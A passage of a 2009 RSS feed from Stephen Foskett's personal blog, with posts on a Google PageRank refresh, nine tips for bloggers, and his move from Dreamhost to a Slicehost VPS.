			<content:encoded><![CDATA[<p><a href="http://blog.fosketts.net/wp-content/uploads/2009/05/logo-3.gif" ><img style=' float: right; padding: 4px; margin: 0 0 2px 7px;'  class="alignright size-full wp-image-1905" title="logo-3" src="http://blog.fosketts.net/wp-content/uploads/2009/05/logo-3.gif" alt="logo-3" width="276" height="110" /></a>Although I&#8217;m no search engine expert, I&#8217;m naturally interested in &#8220;how all this stuff works.&#8221; That&#8217;s why <strong>I&#8217;ve never owned any gadget I&#8217;ve never taken apart</strong> (iPhone, Mac Mini, and MacBook Pro included!) and why I&#8217;ve recently become interested in how the Internet search and referral world works. I&#8217;m not interested in being a search engine optimization (SEO) expert, but <strong>it&#8217;s amazing just watching the gears turn</strong>.</p>
<p>Well, a big gear turned again today as <strong>Google recalculated their calculated PageRank values</strong> for just about every domain and page on the Internet. This is only the third PageRank refresh of 2009, and it&#8217;s likely to shake up the standings of every Google search.</p>
<p><span id="more-1904"></span></p>
<h3 class="post-subhead">How It Works</h3>
<p>Rehashing my previous post, which pointed out <a href="http://blog.fosketts.net/2009/05/22/google-nofollow/"  target="_self">the perils Google faces in a world full of real-time links and nofollow tags</a>, <strong>PageRank is one of the cornerstones on which the search giant relies</strong>. Simply put, every page gets a rank on a scale of 0 to 10 based on the number and quality of links pointing to it. Google also seems to rank whole domains this way, using the domain&#8217;s rank to weight the scores of pages contained there. Top-ranked sites like Wikipedia (PR 8 ) show up much higher in the Google search results pages than lower-ranked ones like fosketts.net (PR 5).</p>
<p>It certainly surprised me to learn that <strong>PageRank isn&#8217;t continually updated</strong>. In fact, it&#8217;s only recalculated every few months! The January refresh bumped my blog from PR 4 to PR 5, driving literally 1,000 more daily visitors my way! <strong>The calculation must take some serious horsepower</strong>, too, since Google doesn&#8217;t include the latest pages. Today&#8217;s refresh appears to stop at content from May 6, suggesting that it took the big brains in Mountain View <strong>three full weeks to complete their computations</strong>!</p>
<h3 class="post-subhead">What It Means</h3>
<p><strong>You should care about your sites&#8217; PageRank if you&#8217;re at all interested in attracting visitors</strong>. As I mentioned, a single-digit PageRank bump drove thousands of visitors to my blog in January, prompting my curiosity about this critical number. I&#8217;m not obsessive about it, but it is interesting to watch how PageRank affects site referrals. This is especially important for new sites, like <a href="http://developer.nirvanix.com/blogs/strategies/default.aspx"  target="_blank">my Enterprise Storage Strategies blog</a> or <a href="http://gestaltit.com"  target="_blank">Gestalt IT</a>, since their readership expands rapidly as PageRank climbs upward.</p>
<p>If you own a web site of blog, you might be interested in checking your own PageRank. One simple tool is a JavaScript bookmarklet like the one from <a href="http://blogoscoped.com/archive/2008-10-08-n41.html"  target="_blank">Google Blogoscoped</a>. Just navigate to a page and hit the bookmarklet to see a popup with that page&#8217;s PageRank.</p>
<p>If you use WordPress, you can add a plugin like <a href="http://wordpress.org/extend/plugins/slaptigooglepr/"  target="_blank">SlaptiGooglePR</a>, which displays the overall site PageRank in the Admin Dashboard. It also includes the PageRank of individual pages to the Posts and Pages lists (which is how I knew which days were included in the calculation!)</p>
<p>At the end of the day, PageRank isn&#8217;t the most critical part of the Internet. But like a self-winding automatic watch, <strong>it&#8217;s really interesting to learn how Google does what it does</strong>, returning relevant links as if by magic.</p>
<blockquote><p>Are you enjoying these posts on the Internet and social networking? Let me know with a comment, tweet, or email! If you&#8217;re an RSS reader, you can filter which posts you will see by subscribing to one of my specialized feeds, as seen in the left column at <a href="http://blog.fosketts.net"  target="_blank">blog.fosketts.net</a>.</p>
</blockquote>
<p><strong>Update:</strong> Google again recalculated PageRank on June 24, incorporating pages through the middle of June 16. They&#8217;re getting faster!</p>
<div id="crp_related"><h3>You might also want to read these other posts...</h3><ul><li><a href="http://blog.fosketts.net/2009/05/22/google-nofollow/"  rel="bookmark" class="crp_title">Google Is Heading For A Cliff; What Will They Do?</a></li><li><a href="http://blog.fosketts.net/2009/01/15/googles-analytics-measuring-page-seo/"  rel="bookmark" class="crp_title">Measuring the Importance of Google&#8217;s First Page</a></li><li><a href="http://blog.fosketts.net/2009/07/15/google-reader-social/"  rel="bookmark" class="crp_title">Google Reader Gets More Social</a></li><li><a href="http://blog.fosketts.net/2009/07/06/install-google-gears-safari-4/"  rel="bookmark" class="crp_title">How To Install Google Gears in Safari 4</a></li><li><a href="http://blog.fosketts.net/2009/06/26/multiserver-web-host-environment/"  rel="bookmark" class="crp_title">Setting Up a Multi-Server Web Hosting Environment</a></li></ul></div><script src="http://feeds.feedburner.com/~s/sfoskett?i=http://blog.fosketts.net/2009/05/27/google-recalculated-pagerank/" type="text/javascript" charset="utf-8"></script><hr />
<p><small>© sfoskett for <a href="http://blog.fosketts.net">Stephen Foskett, Pack Rat</a>, 2009. |
<a href="http://blog.fosketts.net/2009/05/27/google-recalculated-pagerank/">Google Just Recalculated PageRank!</a>
<br/>
This post was categorized as <a href="http://blog.fosketts.net/category/everything/personal/" title="View all posts in Personal" rel="category tag">Personal</a>. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.<br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://blog.fosketts.net/2009/05/27/google-recalculated-pagerank/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Nine Blog Suggestions from a Grumpy Reader</title>
		<link>http://blog.fosketts.net/2009/02/20/improve-your-blog/</link>
		<comments>http://blog.fosketts.net/2009/02/20/improve-your-blog/#comments</comments>
		<pubDate>Fri, 20 Feb 2009 16:33:51 +0000</pubDate>
		<dc:creator>Stephen</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[AdSense]]></category>
		<category><![CDATA[BackType]]></category>
		<category><![CDATA[blogging]]></category>
		<category><![CDATA[Disqus]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[Friendfeed]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[LinkedIn]]></category>
		<category><![CDATA[RSS]]></category>
		<category><![CDATA[social networks]]></category>
		<category><![CDATA[Twitter]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[writing]]></category>

		<guid isPermaLink="false">http://blog.fosketts.net/?p=1452</guid>
		<description><![CDATA[I subscribe to hundreds of RSS feeds, and read them religiously. According to Google Reader's statistics, I read about 200 items per day out of over 700 posted to all of those feeds. As you might expect, I've got some strong feelings about blogs and news sites after reading that much. So this message is aimed at all of you content providers out there: Fix your darn blogs and feeds so I won't be so grumpy anymore!]]></description>
			<content:encoded><![CDATA[<div id="attachment_1456" class="wp-caption alignright" style="width: 198px;  border: 1px solid #dddddd; background-color: #f3f3f3; padding-top: 4px; margin: 10px; text-align:center; float: right;"><a href="http://blog.fosketts.net/wp-content/uploads/2009/02/beware-my-disk.jpg" ><img class="size-medium wp-image-1456   " title="beware-my-disk" src="http://blog.fosketts.net/wp-content/uploads/2009/02/beware-my-disk-299x300.jpg" alt="Attention bloggers! I've got a whole disk of whoopass aimed at your head!" width="188" height="189" /></a><p style=' padding: 0 4px 5px; margin: 0;'  class="wp-caption-text">Attention bloggers! I&#39;ve got a whole disk of whoopass aimed at your head!</p></div>
<p>I subscribe to hundreds of RSS feeds, and read them religiously. According to Google Reader&#8217;s statistics, I read about 200 items per day out of over 700 posted to all of those feeds. As you might expect, I&#8217;ve got some strong feelings about blogs and news sites after reading that much.</p>
<p>So this message is aimed at all of you content providers out there: <strong>Fix your darn blogs and feeds so I won&#8217;t be so grumpy anymore!</strong></p>
<blockquote><p>If you enjoyed reading this, you&#8217;ll probably also like <a href="http://foskettservices.com"  target="_blank">my Foskett Services blog</a>!</p></blockquote>
<ol>
<li><strong>Use full-text RSS feeds!</strong> If you&#8217;re still cutting off your posts after a few sentences, <a rel="nofollow" href="http://labnol.blogspot.com/2006/12/do-you-publish-full-text-feeds-or.html"  target="_blank">you&#8217;re losing my readership</a>. I hardly ever click through on two-line feed items, and I feel burned when I even bother to subscribe to these. Half the time the heading and excerpt promise more than the article delivers anyway. Switch to a full-text feed so I can read your content right there in Google Reader without clicking through to see your interstitial ads for every post. I promise I will visit and comment if you have valuable things to say. What&#8217;s that? I hear you boo-hooing that you will lose readership, visitors, and AdSense revenue? You&#8217;re wrong. The best audience is an engaged audience, and readers of your feed are the most engaged folks you will find. They&#8217;re also a tiny TINY minority of readers (<a href="http://www.micropersuasion.com/2008/10/rss-adoption-at.html"  target="_blank">about 11% last I heard</a>) compared to real search engine and referral-driven traffic. You&#8217;re only going to increase loyalty by switching to full-text feeds, whereas your refusal to syndicate more than 11 words is likely to drive people like me away.</li>
<li><strong>No more me-too posts!</strong> Here&#8217;s a hint: If one of your peers already posted pretty much all you have to say on a topic, then <a href="http://www.louisgray.com/live/2008/12/best-solution-to-embargo-angst-write.html"  target="_blank">don&#8217;t post at all</a>. If you&#8217;re a worthwhile writer, there has to be a unique angle you can use for any story. Get your own voice! Bonus hint: Make sure you are reading your peers&#8217; blogs so you know what they are saying, too! And <a href="http://www.louisgray.com/live/2008/10/making-your-blogging-much-more-than.html"  target="_blank">a link back</a> to them wouldn&#8217;t hurt either!</li>
<li><strong>Don&#8217;t write about your stats!</strong> I don&#8217;t care about your monthly readership stats or AdSense revenues. Unless your blog happens to be about AdSense or search engine optimization, that is&#8230;</li>
<li><strong>Kill the ads!</strong> Face it: You&#8217;re not getting rich with banner ads on your blog. Yes, I admit that I do run a few AdSense ads on my blog pages. Although the payout is tiny, it&#8217;s enough to keep the lights on. But I don&#8217;t force ads on everyone all the time &#8211; I use Ozh&#8217; excellent <a href="http://planetozh.com/blog/my-projects/wordpress-plugin-who-sees-ads-control-adsense-display/"  target="_blank">Who Sees Ads</a> plugin for WordPress so only search engine visitors see my banners. And I will never pollute my feeds with ads: Treat your (very few) subscribers like the loyal friends they are instead of trying to make a dime from their clicks. And yeah, a dime is about all you are making from your blog anyway, right?</li>
<li><strong>Trim the fat!</strong> Are you illustrating your articles with 300k high-definition PNG images? Unless you&#8217;re a photographer or graphic designer, do us all a favor and limit your inline images to about 300 pixels wide. I know it&#8217;s non-free and all, but JPEG speeds up load times! And do you really need to embed flash animations, auto-playing YouTube clips, and other such junk? I&#8217;ll happily click through if I care. Keep the number of illustrations down, too. If the vertical space of your post is more than half graphics (especially cheesy Excel charts) you need to refocus it before you lose your readers.</li>
<li><strong>Edit and format your writing!</strong> If I can&#8217;t read your post, I won&#8217;t read your post. Start by turning on spell check. Then learn the basic rules of grammar. You may be a computer genius, but I&#8217;m not going to put up with <a href="http://wsuonline.weber.edu/wrh/words.htm"  target="_blank">incorrect homonyms</a> and <a rel="nofollow" href="http://en.wikipedia.org/wiki/Eggcorn"  target="_blank">eggcorns</a> forever! Perhaps consider learning what a paragraph is, and even create some yourself. You can still use bulleted and numbered lists, but how about some context and headings to assist the reader?</li>
<li><strong>Quit moving around!</strong> If you&#8217;re blogging, you should <a href="http://www.brentozar.com/archive/2008/12/how-to-start-a-technical-blog-part-2-wordpress/"  target="_blank">control your own destiny</a>: Have your own domain name, your own install of WordPress, and your own feed URL. It&#8217;s hard for me to take &#8220;whoever.typepad.com&#8221; seriously, especially when, three months after I subscribe, he moves his feed to &#8220;whoever.blogger.com&#8221; and makes me re-subscribe. Often, I&#8217;ll just unsubscribe and forget him. Don&#8217;t want this to happen? Register your own domain name for your blog, set up a hosting account and install WordPress (it&#8217;s the best, hands down), and don&#8217;t bother me. While you&#8217;re at it, <a href="http://searchengineland.com/stay-master-of-your-feed-domain-10234"  target="_blank">private-label your feedburner feed</a> so you can take that with you when you move around, too.</li>
<li><strong>Make commenting easier!</strong> Comment spam is a fact of life. Despite using Akismet, <a href="http://www.bad-behavior.ioerror.us/"  target="_blank">Bad Behavior</a>, and <a href="http://www.wprecipes.com/how-to-deny-comment-posting-to-no-referrer-requests"  target="_blank">clever tricks</a>, I got more comments from spammers than actual readers on my blog. Then I heard that, although I added OpenID, commenting was still too hard. So I switched to Disqus for blog comments to try to make life easier, and have had a much better time of it since. If you&#8217;re still using native commenting, you&#8217;re missing out on a lot of readers who would like to comment but won&#8217;t jump through hoops to do it. Bonus hint: Use <a href="http://blog.fosketts.net/2008/11/13/backtype-blog-comments/"  target="_blank">BackType</a> to follow comments on other blogs, too!</li>
<li><strong>Let me contact you!</strong> Everyone should have their real name and contact information prominently available on their blog. If you&#8217;re covering topics that intersect with work, you should disclose your employer, too. If you want to engage your readers, add in a link to your LinkedIn, Twitter, or Facebook account, too. But don&#8217;t go crazy &#8211; no one needs to connect to you in 800 places. That&#8217;s what <a href="http://friendfeed.com"  target="_blank">FriendFeed</a> is for!</li>
</ol>
<p>Finally, here&#8217;s a bonus tip: <strong>No more top-ten lists!</strong> You&#8217;ll probably get to number nine and run out of things to say anyway!</p>
<div id="crp_related"><h3>You might also want to read these other posts...</h3><ul><li><a href="http://blog.fosketts.net/2008/02/19/i-want-a-real-blog-aggregator/"  rel="bookmark" class="crp_title">I Want a Real Blog Aggregator</a></li><li><a href="http://blog.fosketts.net/2008/11/13/backtype-blog-comments/"  rel="bookmark" class="crp_title">BackType Is Closing The Blog Comment Hole</a></li><li><a href="http://blog.fosketts.net/thanks-for-commenting/"  rel="bookmark" class="crp_title">Thank You For Commenting!</a></li><li><a href="http://blog.fosketts.net/2008/07/22/my-new-all-apple-feed/"  rel="bookmark" class="crp_title">My New All-Apple Feed</a></li><li><a href="http://blog.fosketts.net/2011/10/31/google-reader-unfriends-internet/"  rel="bookmark" class="crp_title">Google Reader&#8217;s Roach Motel &#8220;Un-Friends&#8221; the Internet</a></li></ul></div><script src="http://feeds.feedburner.com/~s/sfoskett?i=http://blog.fosketts.net/2009/02/20/improve-your-blog/" type="text/javascript" charset="utf-8"></script><hr />
<p><small>© sfoskett for <a href="http://blog.fosketts.net">Stephen Foskett, Pack Rat</a>, 2009. |
<a href="http://blog.fosketts.net/2009/02/20/improve-your-blog/">Nine Blog Suggestions from a Grumpy Reader</a>
<br/>
This post was categorized as <a href="http://blog.fosketts.net/category/everything/personal/" title="View all posts in Personal" rel="category tag">Personal</a>. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.<br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://blog.fosketts.net/2009/02/20/improve-your-blog/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Apologies For The 404s!</title>
		<link>http://blog.fosketts.net/2009/02/07/apologies-404s/</link>
		<comments>http://blog.fosketts.net/2009/02/07/apologies-404s/#comments</comments>
		<pubDate>Sat, 07 Feb 2009 16:04:50 +0000</pubDate>
		<dc:creator>Stephen</dc:creator>
				<category><![CDATA[Everything]]></category>
		<category><![CDATA[Dreamhost]]></category>
		<category><![CDATA[lighttpd]]></category>
		<category><![CDATA[Linode]]></category>
		<category><![CDATA[MediaWiki]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[Slicehost]]></category>
		<category><![CDATA[VPS]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Xen]]></category>

		<guid isPermaLink="false">http://blog.fosketts.net/?p=1401</guid>
		<description><![CDATA[I&#8217;ve been using Dreamhost as my hosting provider since 2000, mostly happily. But last year I began receiving enough traffic that I could no longer rely on shared hosting. Last Fall, I switched all of my domains to a virtual private server at Dreamhost &#8211; an easy upgrade that doubled my hosting bill but promised [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been using Dreamhost as my hosting provider since 2000, mostly happily. But last year I began receiving enough traffic that I could no longer rely on shared hosting. Last Fall, I switched all of my domains to a virtual private server at Dreamhost &#8211; an easy upgrade that doubled my hosting bill but promised all the performance I would need. Sadly, this was not the case.</p>
<p>Dreamhost never could get their flexible resource provisioning control panel to work right with my server, and their support staff was only slightly responsive. I limped along for three months, waiting for them to get everything working right and suffering through two unexplained multi-hour server outages. After losing my server for an hour and a half yesterday without any response or explanation whatsoever from Dreamhost support, I decided that enough was enough. After nine years as a customer, I am moving my sites elsewhere.</p>
<p>I looked around for a rock-solid Xen VPS/Linux provider with high performance and affordable prices. After checking into many that were recommended, I narrowed my search to two: Linode and Slicehost. Both differ from Dreamhost in that they offer unconfigured servers rather than point-and-click convenience and management. But after almost 20 years in UNIX administration, I figured I was up to the job.</p>
<p>After examining the two, I decided that <a href="https://manage.slicehost.com/customers/new?referrer=31e5d9e0da4b70b80d0cb0bcc8efc95a"  target="_blank">Slicehost</a>, which was recently acquired by Rackspace, offered the best solution for me. One deciding factor was Linode&#8217;s failure to offer backup services of any kind &#8211; that&#8217;s just bizarre! When all is done, I will be spending just $5 more per month than my Dreamhost VPS cost, and will hopefully get much better performance and stability.</p>
<blockquote><p>If you&#8217;re interested in setting up a web site as outlined here, <a href="https://manage.slicehost.com/customers/new?referrer=31e5d9e0da4b70b80d0cb0bcc8efc95a"  target="_blank">I recommend Slicehost</a>. They&#8217;re not the cheapest, but their VPS servers are fast and reliable.</p></blockquote>
<p>So I spent much of Friday evening setting up Ubuntu on my slice, copying data, configuring DNS, and installing lighttpd, php, MySQL, WordPress, Mediawiki, and the rest. After some teething issues, I believe that everything is now up and running properly on my new host! Please let me know (by clicking the &#8220;Email Me&#8221; link in the upper left corner) if you see any errors or issues!</p>
<div id="crp_related"><h3>You might also want to read these other posts...</h3><ul><li><a href="http://blog.fosketts.net/2009/06/26/multiserver-web-host-environment/"  rel="bookmark" class="crp_title">Setting Up a Multi-Server Web Hosting Environment</a></li><li><a href="http://blog.fosketts.net/2010/07/30/high-performance-memory-apache-php-virtual-private-server/"  rel="bookmark" class="crp_title">A High-Performance, Low-Memory Apache/PHP Virtual Private Server</a></li><li><a href="http://blog.fosketts.net/2009/07/01/cloudstuff-stuff-cloud/"  rel="bookmark" class="crp_title">CloudStuff Versus Stuff in the Cloud</a></li><li><a href="http://blog.fosketts.net/2009/06/29/tuning-lighttpd-linux/"  rel="bookmark" class="crp_title">Tuning Lighttpd For Linux</a></li><li><a href="http://blog.fosketts.net/2007/11/26/import-your-old-outlookexpress-psts-to-gmail/"  rel="bookmark" class="crp_title">Import your old Outlook/Express PSTs to Gmail</a></li></ul></div><script src="http://feeds.feedburner.com/~s/sfoskett?i=http://blog.fosketts.net/2009/02/07/apologies-404s/" type="text/javascript" charset="utf-8"></script><hr />
<p><small>© sfoskett for <a href="http://blog.fosketts.net">Stephen Foskett, Pack Rat</a>, 2009. |
<a href="http://blog.fosketts.net/2009/02/07/apologies-404s/">Apologies For The 404s!</a>
<br/>
This post was categorized as <a href="http://blog.fosketts.net/category/everything/" title="View all posts in Everything" rel="category tag">Everything</a>. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.<br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://blog.fosketts.net/2009/02/07/apologies-404s/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

